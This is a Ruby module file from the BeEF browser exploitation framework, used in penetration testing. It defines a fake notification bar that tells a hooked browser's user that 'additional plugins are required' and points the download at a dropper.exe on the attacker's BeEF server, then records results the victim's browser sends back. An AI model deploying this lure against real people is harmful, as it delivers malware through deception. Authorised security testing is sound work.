Path: blob/master/modules/social_engineering/fake_notification_c/module.rb
1154 views
#1# Copyright (c) 2006-2025 Wade Alcorn - [email protected]2# Browser Exploitation Framework (BeEF) - https://beefproject.com3# See the file 'doc/COPYING' for copying permission4#5class Fake_notification_c < BeEF::Core::Command6def self.options7@configuration = BeEF::Core::Configuration.instance8proto = @configuration.beef_proto9beef_host = @configuration.beef_host10beef_port = @configuration.beef_port11base_host = "#{proto}://#{beef_host}:#{beef_port}"1213[14{ 'name' => 'url', 'ui_label' => 'URL', 'value' => "#{base_host}/dropper.exe", 'width' => '150px' },15{ 'name' => 'notification_text',16'description' => 'Text displayed in the notification bar',17'ui_label' => 'Notification text',18'value' => 'Additional plugins are required to display all the media on this page.' }19]20end2122#23# This method is being called when a zombie sends some24# data back to the framework.25#26def post_execute27content = {}28content['result'] = @datastore['result']29save content30end31end323334